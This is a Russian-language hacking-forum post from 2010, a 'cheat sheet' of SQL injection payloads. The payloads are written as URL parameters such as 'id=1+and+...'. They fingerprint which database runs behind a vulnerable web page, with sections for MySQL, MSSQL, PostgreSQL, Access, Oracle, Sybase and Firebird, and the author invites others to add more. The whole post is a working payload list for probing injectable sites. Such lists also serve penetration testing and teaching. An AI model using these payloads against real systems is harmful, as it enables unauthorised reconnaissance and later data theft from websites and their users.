Тема: Шпаргалка
Показать сообщение отдельно
Старый 06.07.2010, 13:30   #1
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию Шпаргалка

В теме будут собраны маленькие шпаргалки по всем необходимым направлениям, которые не тянут на статьи и обзоры и умещаются в один пост.
Тема видится достаточно нужной и перспективной, поэтому посты останутся только максимально полные и действительно нужные, всё остальное пойдёт под снос.


================================================== ======================================

Определяем тип СУБД

MySQL

id=1+procedure+analyse()
id=1+and+concat_ws(1,1)=1
id=1+and+connection_id()=connection_id()

MSSQL

id=1+and+len(@@version)=len(@@version)
id=1+and+(@@TEXTSIZE>@@LANGID)

PostgerSQL

id=1+and+1=1::int // Informix тоже держит такой синтаксис, но она крайне редка, так что пока оставлю
id=1+and+pg_backend_pid()=pg_backend_pid()
id=1+and+5432=inet_server_port()

Access

id=1+and+1=StrConv(1,1)
id=1+and+Sgn(1)=Sgn(1)

Oracle

id=1+and+instr4(1,1,1,1)=1
id=1+and+rownum=rownum

Sybase

id=1+and+inttohex(10)=inttohex(10) // не уверен в уникальности, вроде прошарил гугл, но не факт


Interbase/Firebird (tnx Corwin)

id=1+and+GEN_UUID()!=GEN_UUID()
(uuid_to_char() и char_to_uuid()) // Firebird начиная с версии 2.5
id=1+and+UUID_TO_CHAR(GEN_UUID())!=UUID_TO_CHAR(GE N_UUID())


Если у кого-то есть УНИКАЛЬНЫЕ функции для определения, отписываемся, я добавлю в этот пост

Спасибо: nikp l1ght oRb RulleR Ded MustD!e

Последний раз редактировалось Jokester; 22.02.2012 в 20:48..
Jokester вне форума   Ответить с цитированием